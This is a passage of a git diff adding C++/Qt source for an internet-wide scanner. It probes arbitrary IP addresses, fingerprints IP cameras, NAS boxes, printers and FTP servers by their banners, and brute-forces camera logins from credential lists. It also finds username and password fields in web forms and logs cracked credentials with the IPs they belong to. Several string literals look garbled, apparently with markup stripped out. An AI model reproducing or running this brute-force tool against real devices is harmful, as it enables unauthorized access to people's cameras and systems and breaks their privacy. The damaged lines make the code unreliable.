_IPCameraBrute(char *ip, int port, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + OnLiner = 1; + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + + if(strcmp(SPEC, "IPC") == 0) + { + if(checkIPC(loginLst[i], passLst[j], ip, port) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + } + else if(strcmp(SPEC, "GEO") == 0) + { + if(checkGEO(loginLst[i], passLst[j], ip, port) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + } + else + { + stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); + }; + }; + }; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +{ + BConInc(); + lopaStr res = _IPCameraBrute(ip, port, SPEC); + BConDec(); + return res; +}; +#pragma endregion + +QString strIP; +QString strPort; +const char *buff1 = "GET / HTTP/1.1\r\nHost: "; +const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0\r\n\r\n"; +void Connector::_ConnectToPort(char *ip, const char *portC, char *hl) +{ + char mes[512] = {0}; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + + int strFlag = 0; + strcpy(mes, buff1); + strcat(mes, ip); + strcat(mes, buff2); + int port = atoi(portC); + int cRes; + + if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); + else if(port == 22) + { + char banner[256] = {0}; + strncpy(banner, _get_ssh_banner(ip), 256); + if(strlen(banner) > 0) + { + cRes = _EstablishSSHConnection(ip, &CSTR, banner); + }; + } + else cRes = _EstablishConnection(ip, port, mes, &CSTR); + int size = CSTR.size; + + if(size > 0 && cRes != -1) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + Lexems lx; + lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + strFlag = 1; +}; \ No newline at end of file diff --git a/darkmap.h b/darkmap.h new file mode 100755 index 0000000..142f5a7 --- /dev/null +++ b/darkmap.h @@ -0,0 +1,29 @@ +#ifndef DARKMAP_H +#define DARKMAP_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DarkMap : public QThread +{ + Q_OBJECT + +public: + static int cou; + static int qwmGrWidth; + static int qwmGrHeight; + static void doEmitionDrawText(); + +public: signals: void sDrawText(); + +public: + void doEmitDrawText(); + +protected: + void run(); +}; + +extern DarkMap *dmTh; + +#endif // DARKMAP_H diff --git a/finder.cpp b/finder.cpp new file mode 100755 index 0000000..abb2fa7 --- /dev/null +++ b/finder.cpp @@ -0,0 +1,3047 @@ +#pragma once +#include "STh.h" +#include "resource.h" + +char* __cdecl strstri(char *_Str, const char *_SubStr) +{ + if(_Str != NULL) + { + string _lowStr = toLowerStr(_Str); + string _lowSubStr = toLowerStr(_SubStr); + const char *resChar = strstr(_lowStr.c_str(), _lowSubStr.c_str()); + int offset = resChar - _lowStr.c_str(); + if(offset < 0) return NULL; + else return (char*)(_Str + offset); + }; +}; + +bool gGlobalTrackLocked = false; +char *FindFirstOcc(char *str, char *delim) +{ + int sz = strlen(str); + int dsz = strlen(delim); + for(int i = 0; i < sz; ++i) + { + for(int j = 0; j < dsz; ++j) + { + if(str[i] == delim[j]) return (char *)(str + i); + }; + }; + + return str; +}; +char *FindLastOcc(char *str, char *delim) +{ + int sz = strlen(str); + int dsz = strlen(delim); + int savedPosition = 0; + for(int i = 0; i < sz; ++i) + { + for(int j = 0; j < dsz; ++j) + { + if(str[i] == delim[j]) savedPosition = i; + }; + }; + + return (char *)(str + savedPosition); +}; +char *GetCodePage(char *str) +{ + char cdpg[32] = {0}; + if(strstri(str, "= 2)) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + "" + "] Negative hit: \"" + QString::fromLocal8Bit(negWord).toHtmlEscaped() + "\""); + if(strlen(negWord) < 2) + { + stt->doEmitionDebugFoundData(" Len:" + QString::number(strlen(negWord))); + }; + if(strcmp(negWord, "") == 0) + { + stt->doEmitionDebugFoundData("Empty hit!"); + }; + if(strcmp(negWord, " ") == 0) + { + stt->doEmitionDebugFoundData("Space hit!"); + }; + }; + ++Filt; + return -1; + }; + }; + ZeroMemory(negWord, 256); + }; + return 0; +}; +int globalSearchPrnt(char *buffcp) +{ + char buffcpy[RECV_MAX_LENGTH] = {0}; + strcpy(buffcpy, toLowerStr(buffcp).c_str()); + + if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL + || strstr(buffcpy, "konica minolta") != NULL || strstr(buffcpy, "/eng/home_frm.htm") != NULL + || strstr(buffcpy, "networkScanner webserver") != NULL || strstr(buffcpy, "/eng/htm/top.htm") != NULL + || strstr(buffcpy, "canon http server") != NULL || strstr(buffcpy, "pages/t_ixdmy.htm") != NULL + || strstr(buffcpy, "/web/guest/") != NULL || strstr(buffcpy, "printerInfo") != NULL + || strstr(buffcpy, "hp Photosmart") != NULL || strstr(buffcpy, "hp laserjet") != NULL + || strstr(buffcpy, "menu and info frames") != NULL || strstr(buffcpy, "hp color laserjet") != NULL + || strstr(buffcpy, "menu and content fFrames") != NULL || strstr(buffcpy, "hewlett packard") != NULL + || strstr(buffcpy, "menu and info frames") != NULL + || strstr(buffcpy, "laserjet") != NULL || strstr(buffcpy, "supplies summary") != NULL + || strstr(buffcpy, "seiko epson") != NULL || strstr(buffcpy, "ink_y.png") != NULL + || strstr(buffcpy, "EpsonNet") != NULL || strstr(buffcpy, "printer name") != NULL + ) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("Printer detected."); + }; + return -1; + }; +}; + +// 500 < 1600 +int _mainFinderFirst(char *buffcp, int f, int port, char *ip) +{ + Lexems l; + char buffcpy[RECV_MAX_LENGTH] = {0}; + strcpy(buffcpy, toLowerStr(buffcp).c_str()); + + if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) + && strstr(buffcpy, "digest realm") != NULL) return 101; + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) return 1; + if(strstr(buffcpy, "bad request (invalid hostname)") != NULL || strstr(buffcpy, "bad request - invalid hostname") != NULL + ||strstr(buffcpy, "http error 400.") != NULL) return -1; + if(strstr(buffcpy, "501 not implemented") != NULL + || strstr(buffcpy, "403 forbidden") != NULL || strstr(buffcpy, "504 gateway timeout") != NULL + || strstr(buffcpy, "500 internal server error") != NULL || strstr(buffcpy, "502 bad gateway") != NULL + ) return -1; + if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || + strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //IPC web ip cam + if(strstr(buffcpy, "geovision") != NULL && strstr(buffcpy, "ip camera") != NULL) return 33; //GEO web ip cam + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstri(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstri(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + + if(strstr(buffcpy, "
doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Size < 160 bytes."); + }; + return -1; + } + else if(strlen(buffcpy) < 500) + { + if(f) return 7; + }; + + if(strstr(buffcpy, "function.require") != NULL || strstr(buffcpy, "failed to open stream") != NULL || + strstr(buffcpy, "include_path=") != NULL + ) return 3; + + return 0; +}; +//> 1600 +int _mainFinderSecond(char *buffcp, int port, char *ip) +{ + Lexems l; + char buffcpy[RECV_MAX_LENGTH] = {0}; + strcpy(buffcpy, toLowerStr(buffcp).c_str()); + if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) + && strstr(buffcpy, "digest realm") != NULL) return 101; + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) return 1; + if(strstr(buffcpy, "bad request (invalid hostname)") != NULL || strstr(buffcpy, "bad request - invalid hostname") != NULL + ||strstr(buffcpy, "http error 400.") != NULL) return -1; + if(strstr(buffcpy, "501 not implemented") != NULL + || strstr(buffcpy, "403 forbidden") != NULL || strstr(buffcpy, "504 gateway timeout") != NULL + || strstr(buffcpy, "500 internal server error") != NULL || strstr(buffcpy, "502 bad gateway") != NULL + ) return -1; + if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || + strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //web ip cam + if(strstr(buffcpy, "geovision") != NULL && strstr(buffcpy, "ip camera") != NULL) return 33; //GEO web ip cam + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstr(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + + if(strstr(buffcpy, " 500 && sz <= 3500) || sz > 180000) + { + return _mainFinderFirst(buff, 0, port, ip); + } + else if(sz > 3500 && sz <= 180000) + { + return _mainFinderSecond(buff, port, ip); + }; + } + else return -1; +}; +void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, char *login, char *pass, char *comment, char *cdpg, char *clss) +{ + if(trackerOK == true) + { + while(gGlobalTrackLocked == true) Sleep(10); + gGlobalTrackLocked = true; + + QJsonObject jsonData; + + if(gMode == 0 || gMode == -1) + { + if(strlen(ip) > 0) jsonData.insert("ip_addr", QJsonValue(QString(ip)) ); + else jsonData.insert("ip_addr", QJsonValue(QString("")) ); + + jsonData.insert("hostname", QJsonValue(QString(hostname)) ); + } + else + { + jsonData.insert("ip_addr", QJsonValue(QString("")) ); + jsonData.insert("hostname", QJsonValue(QString(ip)) ); + }; + + jsonData.insert("port", QJsonValue(QString(port).replace(":", "")) ); + jsonData.insert("recv", QJsonValue(QString(sz)) ); + QString tt = QString(base64_encode((const unsigned char *)title, strlen(title)).c_str()); + if(strlen(title) == 0) jsonData.insert("title", QJsonValue(QString("NULL")) ); + else jsonData.insert("title", QJsonValue(QString(base64_encode((const unsigned char *)title, strlen(title)).c_str())) ); + if(strlen(login) > 0) jsonData.insert("login", QJsonValue(QString(login)) ); + else jsonData.insert("login", QJsonValue(QString("")) ); + if(strlen(pass) > 0) jsonData.insert("pass", QJsonValue(QString(pass)) ); + else jsonData.insert("pass", QJsonValue(QString("")) ); + if(strlen(comment) > 0) jsonData.insert("other", QJsonValue(QString(comment)) ); + else jsonData.insert("other", QJsonValue(QString("")) ); + if(strlen(cdpg) > 0) jsonData.insert("encoding", QJsonValue(QString(cdpg)) ); + else jsonData.insert("encoding", QJsonValue(QString("")) ); + if(strlen(clss) > 0) jsonData.insert("Class", QJsonValue(QString(clss)) ); + else jsonData.insert("Class", QJsonValue(QString("")) ); + + while(jsonArr == NULL); + jsonArr->push_front(jsonData); + + gGlobalTrackLocked = false; + }; +}; +int __checkFileExistence(int flag) +{ + char fileName[64] = {0}; + + if(flag == 666 || flag == 350) strcpy(fileName, "./result_files/STRANGE_ERROR.html"); + else if(flag == -22) strcpy(fileName, "./result_files/ssh.html"); + else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./result_files/strange.html"); + else if(flag == 3) strcpy(fileName, "./result_files/other.html"); + else if(flag == 7) strcpy(fileName, "./result_files/low_loads.html"); + else if(flag == 10) strcpy(fileName, "./result_files/Login_forms.html"); + else if(flag == 16) strcpy(fileName, "./result_files/FTP.html"); + else if(flag >= 17 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./result_files/Basicauth.html"); + + FILE *f = fopen(fileName, "r"); + if(f == NULL) return true; + else + { + fclose(f); + return false; + }; +}; + +bool ftsAnom = true; +bool ftsOther = true; +bool ftsSSH = true; +bool ftsLL = true; +bool ftsFTP = true; +bool ftsBA = true; +bool ftsLF = true; + +bool fOpened = false; +char styleBuff[1024] = {""}; +char topBuff[1024] = {"

"}; +void fputsf(char *ip, char *port, char *text, int flag, char *msg) +{ + FILE *file = NULL; + bool firstTimeYeah = false; + +#pragma region FileExistenceCheck + if(flag == 0 || flag == 15 || flag == -10) + { + if(ftsAnom) ftsAnom = __checkFileExistence(flag); + file = fopen("./result_files/strange.html", "a"); + } + else if(flag == 3) + { + if(ftsOther) ftsOther = __checkFileExistence(flag); + file = fopen("./result_files/other.html", "a"); + } + else if(flag == -22) + { + if(ftsSSH) ftsSSH = __checkFileExistence(flag); + file = fopen("./result_files/SSH.html", "a"); + } + else if(flag == 7) + { + if(ftsLL) ftsLL = __checkFileExistence(flag); + file = fopen("./result_files/low_loads.html", "a"); + } + else if(flag == 10) + { + if(ftsLF) ftsLF = __checkFileExistence(flag); + file = fopen("./result_files/Login_forms.html", "a"); + } + else if(flag == 16) + { + if(ftsFTP) ftsFTP = __checkFileExistence(flag); + file = fopen("./result_files/FTP.html", "a"); + } + else if(flag >= 17 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag == 1 + ) + { + if(ftsBA) ftsBA = __checkFileExistence(flag); + file = fopen("./result_files/Basicauth.html", "a"); + } + else + { + stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]"); + }; +#pragma endregion + if(file != NULL) + { + ++saved; + char *string = new char[strlen(text) + 512]; + if(flag != -22) + { + strcpy (string, "
"); + time_t rtime; + time(&rtime); + char cdate[32] = {0}; + strcat (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcat (string, cdate); + strcat (string, text); + strcat (string, "
"); + } + else + { + strcpy (string, "
"); + time_t rtime; + time(&rtime); + char cdate[32] = {0}; + strcat (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcat (string, cdate); + strcat (string, text); + strcat (string, "
"); + }; + +#pragma region styleFiller + if(flag == 0 && ftsAnom) + { + char tmsg[1024] = {0}; + ftsAnom = false; + strcpy(tmsg, "Anomalies"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs ("

", file); + }; + if(flag == 3 && ftsOther) + { + char tmsg[1024] = {0}; + ftsOther = false; + strcpy(tmsg, "Suspicious"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == -22 && ftsSSH) + { + char tmsg[1024] = {0}; + ftsOther = false; + strcpy(tmsg, "SSH"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 7 && ftsLL) + { + char tmsg[1024] = {0}; + ftsLL = false; + strcpy(tmsg, "Lowloads"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 16 && ftsFTP) + { + char tmsg[1024] = {0}; + ftsFTP = false; + strcpy(tmsg, "FTP"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 10 && ftsLF) + { + char tmsg[1024] = {0}; + ftsLF = false; + strcpy(tmsg, "LoginsForms"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + + }; + if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1) && ftsBA) + { + char tmsg[1024] = {0}; + ftsBA = false; + strcpy(tmsg, "BasicAuth"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + +#pragma endregion + int innerCounter = 0; + while(fOpened) + { + if(innerCounter > 20) + { + stt->doEmitionRedFoundData("Write file loop detected!"); + break; + }; + ++innerCounter; + Sleep((rand() % 300 + 60)); + }; + fOpened = true; + fputs (string, file); + fclose (file); + fOpened = false; + + delete []string; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "]"); +#pragma endregion + }; +}; +void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) +{ + char log[4096] = {0}, msg[512] = {0}; + + if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "Anomaly - "); + else if(flag == 3) strcpy(msg, "Suspicious - "); + else if(flag == 9) strcpy(msg, "Timeout - "); + else if(flag == 7) strcpy(msg, "Low Load - "); + else if(flag == 8) strcpy(msg, "Forbidden - "); + else if(flag == 6) strcpy(msg, "Not Found - "); + else if(flag == 5 && mode != 1) strcpy(msg, "Bad Address - "); + else if(flag == 4) strcpy(msg, "Bad Request - "); + else if(flag == 2) strcpy(msg, "Printer - "); + else if(flag == 666 || flag == 350) strcpy(msg, "Strange Error - "); + else if(flag == 10) strcpy(msg, "Login form - "); + + QTextCodec *codec; + strcat(msg, ""); + strcat(msg, ip); + strcat(msg, port); + strcat(msg, ""); + + QString resMes(msg); + QString strf; + if(strstri(cp, "shift_jis")) + { + codec = QTextCodec::codecForName("Shift-JIS"); + strf = codec->toUnicode(finalstr); + } + else if(strstri(cp, "utf")) + { + codec = QTextCodec::codecForName("UTF-8"); + strf = codec->toUnicode(finalstr); + } + else if(strstri(cp, "cp")) + { + codec = QTextCodec::codecForName("Windows-1251"); + strf = codec->toUnicode(finalstr); + } + else strf = QString(finalstr); + if(flag != 6 && flag != 5 && flag != 4 && flag != 666 && flag != 350) + { + strcat(msg, " Title: "); + int sz = strf.size(); + strncat(msg, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), (sz < 128 ? sz : 128)); + strcat(msg, ""); + resMes += " Title: " + QString(finalstr).toHtmlEscaped() + ""; + }; +#pragma region QTGUI_Area + stt->doEmitionFoundData(resMes); +#pragma endregion + + + strcpy(log, ""); + strcat(log, hl); + strcat(log, ""); + int flr = 40 - strlen(hl); + if(flr > 0) + { + while(flr != 0) + { + strcat(log, " "); + --flr; + }; + } + else strcat(log, " "); + strcat(log, ":: "); + strcat(log, ip); + strcat(log, port); + strcat(log, "; Received: "); + strcat(log, std::to_string((long double)recd).c_str()); + strcat(log, ""); + + if(flag == 666 || flag == 350) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Strange error"); + ++PieAnomC1; + ++AnomC1; + } + else if(flag == 0 || flag == 15 || flag == -10) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Anomaly"); + ++PieAnomC1; + ++AnomC1; + } + else if(flag == 3) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Suspicious"); + ++PieSusp; + ++Susp; + } + else if(flag == 7) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Low load"); + ++PieLowl; + } + else if(flag == 10) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Login form"); + ++PieWF; + }; + + if(flag != 6 && flag != 5 && flag != 4) + { + strcat(log, "; Title: "); + + strncat(log, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), 100); + strcat(log, ""); + }; + strcat(log, "\n"); + + fputsf (ip, port, log, flag, msg); + + ZeroMemory(msg, strlen(msg)); +}; +void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +{ + char log[512] = {0}; + + ++PieBA; + + strcpy(log, "[BA] "); + strcat(log, ""); + strcat(log, login); + strcat(log, ":"); + strcat(log, pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, port); + strcat(log, " Title: "); + strcat(log, finalstr); + strcat(log, ""); + strcat(log, "\n"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + fputsf (ip, port, log , flag, "Basic Authorization"); +}; +void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +{ + char log[512] = {0}; + + ++PieWF; + + strcpy(log, "[WF] "); + strcat(log, ""); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, " Title: "); + strcat(log, finalstr); + strcat(log, " Pass: "); + strcat(log, login); + strcat(log, ":"); + strcat(log, pass); + strcat(log, ""); + strcat(log, "\n"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + fputsf (ip, port, log , flag, "Web Form"); +}; +void _getFormVal(char *data, char *result, char *key) +{ + char parVal[256] = {0}; + int psz = 0; + char *pkeyResult1 = strstr(data, ">"); + if(pkeyResult1 != NULL) + { + psz = pkeyResult1 - data + 1; + strncpy(parVal, data, (psz < 256 ? psz : 256)); + } + else + { + strncpy(parVal, data, 256); + }; + int sz = 0; + char parVal2[256] = {0}; + + char *keyResult1 = strstri(parVal, key); + if(keyResult1 != NULL) + { + char *pkeyResult2 = FindFirstOcc(keyResult1, " >"); + if(pkeyResult2 != keyResult1) + { + int psz2 = pkeyResult2 - keyResult1; + strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256)); + + char *keyResult2 = FindFirstOcc(parVal2, "'\""); + if(keyResult2 != NULL && keyResult2 != parVal2) + { + char *keyResult3 = FindFirstOcc(keyResult2 + 1, "'\"> "); + if(keyResult3 != NULL && keyResult3 != keyResult2) + { + sz = keyResult3 - keyResult2 - 1; + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + keyResult2 = FindFirstOcc(parVal2, "="); + if(keyResult2 != NULL && keyResult2 != parVal2) + { + char *keyResult3 = FindFirstOcc(keyResult2, "'\"> "); + if(keyResult3 != keyResult2 ) + { + sz = keyResult3 - keyResult2 - 1; + strncpy(result, keyResult2 + 1, sz); + } + else + { + strcpy(result, keyResult2 + 1); + }; + } + }; + + } + else + { + stt->doEmitionFoundData("[WF]: GetParam - Cannot localize field."); + }; + }; +}; + +static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname"}; +vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); +static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"}; +vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); + +char *_getAttribute(char *str, char *attrib) +{ + if(strstri(str, attrib) != NULL) + { + char res[1024] = {0}; + char *ptrStart = strstri(str, attrib); + char *ptrEnd = FindFirstOcc(ptrStart, "\r\n"); + int szAt = strlen(attrib); + int sz = ptrEnd - ptrStart - szAt; + + if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); + else return ""; + + return res; + } + else return ""; +}; +void _getInputVal(std::vector inputVec, char *buff, char *key) +{ + char *pos = NULL; + char field[128] = {0}; + if(strcmp(key, "USER") == 0) + { + for(int i = 0; i < inputVec.size(); ++i) + { + ZeroMemory(field, 128); + _getFormVal((char*)inputVec[i].data(), field, "name="); + for(int j = 0; j < vecUser.size(); ++j) + { + pos = strstri(field, vecUser[j].data()); + if(pos != NULL) + { + strncpy(buff, field, 128); + return; + }; + }; + }; + } + else + { + for(int i = 0; i < inputVec.size(); ++i) + { + ZeroMemory(field, 128); + _getFormVal((char*)inputVec[i].data(), field, "name="); + for(int j = 0; j < vecPass.size(); ++j) + { + 